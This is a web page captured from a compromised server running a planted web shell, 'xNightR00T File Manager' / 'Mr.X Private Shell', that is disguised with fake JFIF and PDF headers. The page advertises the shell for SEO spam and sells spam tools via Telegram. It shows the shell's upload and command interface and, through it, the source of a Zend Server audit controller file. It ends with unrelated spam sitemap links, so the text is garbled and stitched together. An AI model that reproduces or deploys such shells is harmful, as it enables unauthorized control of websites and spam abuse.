xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Audit\Controller;

use Acl\License\Exception as LicenseException;
use WebAPI\Exception as WebAPIException;
use Audit\Db\ProgressMapper;
use Audit\Db\Mapper;
use Application\Module;
use ZendServer\Mvc\Controller\WebAPIActionController,
    ZendServer\Set,
    ZendServer\Log\Log,
    \Audit\Container,
    WebAPI;
use ZendServer\FS\FS;
use Zend\Http\Response\Stream;
use Zend\Http\Headers;

class WebAPIController extends WebAPIActionController
{

    /**
     * Get a list of audit entries.
     *
     * @api
     * @method GET
     * @version 1.3
     * @section Administration
     * @name auditGetList
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_auditgetlist_method.htm
     * @permissions Read-only
     * @editions All
     * @param integer limit Optional. The number of rows to retrieve. Default lists all audit entries up to
     * 	an arbitrary limit set by the system
     * @param integer offset Optional. A paging offset to begin the list from. Default: 0
     * @param string order Optional. Column identifier for sorting the result set (audit_id, node_id,
     * 	time). Default: audit_id
     * @param string direction Optional. Sorting direction: ASC or DESC. Default: DESC
     * @param array filters Optional. Add filter parameters in an ad-hoc manner. These filters will be
     * 	added to the predefined filter that was passed.This parameter is an
     * 	array with a predefined set of parameters that accept strings or
     * 	arrays to hold multiple values: from: string, a timestamp to use for
     * 	retrieving audit rows to: string, a timestamp to use for retrieving
     * 	audit rows freeText: string auditGroups: array, a list of
     * 	auditGroups- AUDIT_GROUP_DEPLOYMENT AUDIT_GROUP_CONFIGURATION
     * 	AUDIT_GROUP_RESTART AUDIT_GROUP_SETTINGS_CHANGES
     * 	AUDIT_GROUP_AUTHENTICATION AUDIT_GROUP_AUTHORIZATION
     * 	AUDIT_GROUP_BOOTSTRAP AUDIT_GROUP_CLUSTER_MANAGEMENT
     * 	AUDIT_GROUP_CODETRACING AUDIT_GROUP_MONITOR AUDIT_GROUP_STUDIO
     * 	AUDIT_GROUP_CLEAR_CACHE AUDIT_GROUP_PAGE_CACHE_RULES
     * 	AUDIT_GROUP_JOBQUEUE_RULES AUDIT_GROUP_PHPINFO AUDIT_GROUP_WEBAPI
     * 	AUDIT_GROUP_LICENSE
     * @response
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function auditGetListAction()
    {
        try {
            $this->isMethodGet();
            $params    = $this->getParameters(array(
                'limit' => Module::config('list', 'resultsPerPage'),
                'offset' => 0,
                'order' => 'audit_id',
                'direction' => 'DESC',
                'filters' => array(),
            ));
            $limit     = $this->validateLimit($params['limit']);
            $offset    = $this->validateOffset($params['offset']);
            $order     = strtoupper($this->validateOrder($params['order']));
            $direction = $this->validateDirection($params['direction']);
            $filters   = $this->validateFilters($params['filters']);
        } catch (WebAPIException $e) {
            $this->handleException($e, 'Input validation failed');
        }

        try {
            $licenseMapper = $this->getLocator()->get('Acl\License\Mapper'); /* @var \Acl\License\Mapper $licenseMapper */
            if (isset($filters['from']) && $filters['from'] > 0) {
                if (!$licenseMapper->isValid($filters['from']) || $filters['from'] > $filters['to']) {
                    throw new LicenseException('Not valid time range');
                }
            } else {
                $filters['from'] = $licenseMapper->getMaxAuditFrom();
                if ($filters['from'] === false) {
                    unset($filters['from']);
                }
            }
            $auditMessages = $this->getAuditMapper()->findAuditMessagesPaged($limit, $offset, $order, $direction, $filters);
            $totalCount    = $this->getAuditMapper()->countAuditMessages($filters);
        } catch (\Exception $e) {
            throw new WebAPIException($e->getMessage(), WebAPIException::INVALID_SERVER_RESPONSE, $e);
        }

        $auditMessages = $this->resolveMessagesOutcome($auditMessages);

        return array('auditMessages' => $auditMessages, 'totalCount' => $totalCount);
    }

    /**
     * Get meta data of the audit messages, like the "operations" list and the "outcome"
     * This data is used for the filters above the table
     *
     * @api
     * @method get
     * @section Administration
     * @version 1.3
     * @edition Zend Server
     * @response {
            "operations": {
                "AUDIT_GROUP_AUTHENTICATION": "Authentication",
                "AUDIT_GROUP_AUTHORIZATION": "Permissions",
                "AUDIT_GROUP_BOOTSTRAP": "Bootstrap",
                "AUDIT_GROUP_CLEAR_CACHE": "Clear Cache",
                "AUDIT_GROUP_CLUSTER_MANAGEMENT": "Cluster Management",
                "AUDIT_GROUP_CODETRACING": "Code Tracing",
                "AUDIT_GROUP_CONFIGURATION": "Configuration",
                "AUDIT_GROUP_DEPLOYMENT": "Deployment",
                "AUDIT_GROUP_JOBQUEUE_RULES": "Recurring Jobs",
                "AUDIT_GROUP_LICENSE": "License",
                "AUDIT_GROUP_MONITOR": "Monitor Rules",
                "AUDIT_GROUP_PAGE_CACHE_RULES": "Caching Rules",
                "AUDIT_GROUP_DATA_CACHE": "Data Caching",
                "AUDIT_GROUP_PHPINFO": "PHP Info",
                "AUDIT_GROUP_RESTART": "Restart",
                "AUDIT_GROUP_SETTINGS_CHANGES": "Settings Change",
                "AUDIT_GROUP_STUDIO": "IDE Operations",
                "AUDIT_GROUP_WEBAPI": "WebAPI Keys",
                "AUDIT_GROUP_DEPLOYMENT_LIBRARY": "Library Deployment",
                "AUDIT_GROUP_DEPLOYMENT_VHOST": "Deployment Vhosts",
                "AUDIT_GROUP_DEVELOPER": "Developer Access",
                "AUDIT_GROUP_UrlInsight": "Url Insight",
                "AUDIT_GROUP_ZRAY": "Zray"
            },
            "outcome": {
                "0": "In Progress",
                "2": "Ok",
                "3": "Failed"
            }
        }
     *
     * @return
     */
    public function auditGetMetaDataAction()
    {
        $this->isMethodGet();

        //////// get audit "operations" list
        $dictionary     = new \Audit\Dictionary();
        $operationsList = $dictionary->getAuditTypeGroups();

        /////// get "outcome"
        $progressMapper = new \Audit\Db\ProgressMapper();
        $outcomeList    = $progressMapper->getProgressStrings();

        return new \WebAPI\View\WebApiResponseContainer(array(
            'operations' => $operationsList,
            'outcome' => $outcomeList,
        ));
    }

    /**
     * Export the audit log to zipped log file.
     *
     * @api
     * @method GET
     * @version 1.3
     * @section Administration
     * @name auditExport
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_auditexport_method.htm
     * @permissions Read-only
     * @editions All
     * @param array filters Optional. Array of filters: from and to timestamps, auditGroups for groups
     * 	types, freeText for string search and outcome for status of result
     * @response
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function auditExportAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters(array('filters' => array()));

        $auditMessages = $this->getAuditMapper()->findAuditMessagesFiltered($params['filters']);
        $auditMessages = $this->resolveMessagesOutcome($auditMessages);
        $viewRenderer  = $this->getLocator()->get('ViewRenderer');

        $auditLogString = '';
        foreach ($auditMessages as $messageContainer) { /* @var Container $messageContainer */
            $extraData = urlencode($messageContainer->getRawExtradata());

            $auditLogString .= "{$messageContainer->getAuditId()},{$messageContainer->getUsername()},{$messageContainer->getRequestInterface()},{$messageContainer->getRemoteAddr()},".
                "{$viewRenderer->auditType($messageContainer->getAuditType())},{$messageContainer->getOutcome()},{$messageContainer->getbaseUrl()},{$messageContainer->getCreationTime()},".
                "{$extraData}\r\n";
        }

        $archive = \ZendServer\FS\FS::getGuiTempDir().DIRECTORY_SEPARATOR.'compressed.zip';
        $filter  = new \Zend\Filter\Compress\Zip(array(
            'adapter' => 'Zip',
            'target' => 'audit.csv',
            'options' => array(
                'archive' => $archive,
            ),
        ));

        $filter->compress($auditLogString);

        $logFilename   = $traceFileName = "auditLog-".date('dMY-HisO').".zip";
        $archive       = FS::getFileObject($archive);

        $response       = new Stream();
        $response->setStream(fopen($archive->getPathname(), 'r'));
        $response->setStreamName($logFilename);
        $response->setStatusCode(200);
        $response->setContentLength($archive->getSize());
        $this->response = $response;

        $this->getEvent()->setParam('do-not-compress', true);

        $headers = new Headers();
        $headers->addHeaderLine('Content-Disposition', "attachment; filename=\"{$logFilename}\"");
        $headers->addHeaderLine('Content-type', "application/zip");
        $headers->addHeaderLine('Content-Length', $archive->getSize());
        $response->setHeaders($headers);
        return $response;
    }

    /**
     * Get all details available on a particular audit item.
     *
     * @api
     * @method GET
     * @version 1.3
     * @section Administration
     * @name auditGetDetails
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_auditgetdetails_method.htm
     * @permissions Read-only
     * @editions All
     * @param Integer auditId Required. Audit ID to get all details for
     * @response
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function auditGetDetailsAction()
    {
        try {
            $this->isMethodGet();
            $params  = $this->getParameters();
            $this->validateMandatoryParameters($params, array('auditId'));
            $auditId = $this->validateInteger($params['auditId'], 'auditId');
        } catch (WebAPIException $e) {
            $this->handleException($e, 'Input validation failed');
        }

        try {
            $auditMessages     = $this->getAuditMapper()->findAuditMessage($auditId);
            $auditProgressList = $this->getAuditProgressMapper()->findMessageDetailsErrorOnly($auditId);
        } catch (\Exception $e) {
            throw new WebAPIException($e->getMessage(), WebAPIException::INVALID_SERVER_RESPONSE, $e);
        }

        if ($auditMessages->count() < 1) {
            throw new WebAPIException("No Audit message with auditId: '{$auditId}'",
            WebAPIException::NO_SUCH_AUDIT_MESSAGE);
        }

        return array('auditMessage' => $auditMessages->current(), 'auditProgressList' => $auditProgressList);
    }

    /**
     * Save settings of audit history and triggers.
     *
     * @api
     * @method POST
     * @version 1.3
     * @section Administration
     * @name auditSetSettings
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_auditsetsettings_method.htm
     * @permissions Read-only
     * @editions All
     * @param string email Optional. Array of email value and array of audit types. Will be set to the an
     * 	empty string if not passed.
     * @param string callbackUrl Optional. Array of URL value and array of audit types. Will be set to the an
     * 	empty string if not passed.
     * @param integer history Optional. Number of saved days in history
     * @response
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function auditSetSettingsAction()
    {
        try {
            $this->isMethodPost();
            $params      = $this->getParameters(array('email' => '', 'callbackUrl' => '', 'auditTriggers' => array()));
            $history     = isset($params['history']) ? $this->validateInteger($params['history'], 'history') : null;
            $email       = $this->validateString($params['email'], 'email');
            $callbackUrl = $this->validateString($params['callbackUrl'], 'callbackUrl');
            $this->validateArray($params['auditTriggers'], 'auditTriggers');

            $licenseMapper = $this->getLocator()->get('Configuration\License\ZemUtilsWrapper');
            if (strpos(strtolower($licenseMapper->getLicenseInfo()->getEdition()), 'enterprise') === false) {
                if (isset($history) && (!($history <= 2 && $history >= 0))) {
                    throw new WebAPIException(
                        "invalid history parameter ({$history}) for this version licence ",
                        WebAPIException::INVALID_PARAMETER
                    );
                }
            }
        } catch (WebAPIException $e) {
            $this->handleException($e, 'Input validation failed');
        }

        $settingsForm     = $this->getLocator('Audit\Forms\Settings');
        $settingsForm->setData($params);
        $nonValidElements = '';
        if (!$settingsForm->isValid()) {
            foreach ($settingsForm->getMessages() as $field => $errors) {
                if (!$errors) continue;
                if (is_array($errors)) {
                    foreach ($errors as $type => $error) {
                        $nonValidElements .= $field.': '.$error;
                    }
                }
            }
            $errorMsg = _t("Invalid parameters: ".$nonValidElements);
            throw new WebAPIException($errorMsg, WebAPIException::INVALID_PARAMETER);
        }
        $auditParams = array(
            'email' => $email,
            'callbackUrl' => $callbackUrl,
        );
        if(isset($history)){
            $auditParams['history'] = $history;
        }
        $audit = $this->auditMessage(
            Mapper::AUDIT_GUI_AUDIT_SETTINGS_SAVE,
            ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY,
            array(
               $auditParams
            )
        );
        try {
            if (isset($history)){
                $this->getAuditSettingsMapper()->setHistory($history);
            }
            $this->getAuditSettingsMapper()->setEmail($email);
            $this->getAuditSettingsMapper()->setURL($callbackUrl);
        } catch (\Exception $e) {
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED);
            throw new WebAPIException($e->getMessage(), WebAPIException::INVALID_SERVER_RESPONSE, $e);
        }

        $historyData   = $this->getAuditSettingsMapper()->getHistory();
        $emailData     = $this->getAuditSettingsMapper()->getEmail();
        $scriptUrlData = $this->getAuditSettingsMapper()->getScriptUrl();

        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY);

        return array(
            'history' => $historyData,
            'email' => $emailData,
            'url' => $scriptUrlData
        );
    }

    /**
     * @param Set $auditMessages
     *
     * @return Set
     */
    protected function resolveMessagesOutcome($auditMessages)
    {
        $messagesWithOutCome = array();
        foreach ($auditMessages as $idx => $auditMessage) { /* @var Container $auditMessage */
            $auditMessage->setOutcome($this->resolveOutcome($auditMessage));
            $this->resolveBlacklistValues($auditMessage);
            $messagesWithOutCome[] = $auditMessage;
        }

        return new Set($messagesWithOutCome, null);
    }

    /**
     * Resolve blacklist values
     * @param Container $auditMessage
     */
    protected function resolveBlacklistValues(Container $auditMessage)
    {
        $blacklistValues = array('pass');
        $extraData = $auditMessage->getextraData();
        $maskedData = \ZendServer\Utils\Helper::maskData($extraData,$blacklistValues);
        $auditMessage->setextraData(json_encode($maskedData));
    }

    protected function resolveOutcome(Container $auditMessage)
    {
        $progressValues = array_count_values($auditMessage->getProgress());

        if (!isset($progressValues['AUDIT_PROGRESS_ENDED_SUCCESFULLY']) && !isset($progressValues['AUDIT_PROGRESS_ENDED_FAILED'])) {
            return 'In Progress';
        }

        if (!isset($progressValues['AUDIT_PROGRESS_ENDED_FAILED'])) {
            return 'OK';
        }

        return 'Failed';
    }

    /**
     * @param string $order
     * @throws WebAPIException
     */
    protected function validateOrder($order)
    {
        return $this->validateAllowedValues($order, 'order', array('audit_id', 'creation_time', 'username'));
    }

    protected function validateFilters(array $filters = array())
    {
        $availableFilters = array('from', 'to', 'freeText', 'auditGroups', 'outcome');
        foreach ($filters as $key => $value) {
            $this->validateAllowedValues($key, 'filters', $availableFilters);
        }
        return $filters;
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
IndexController.php File 520 B 0644
WebAPIController.php File 16.8 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml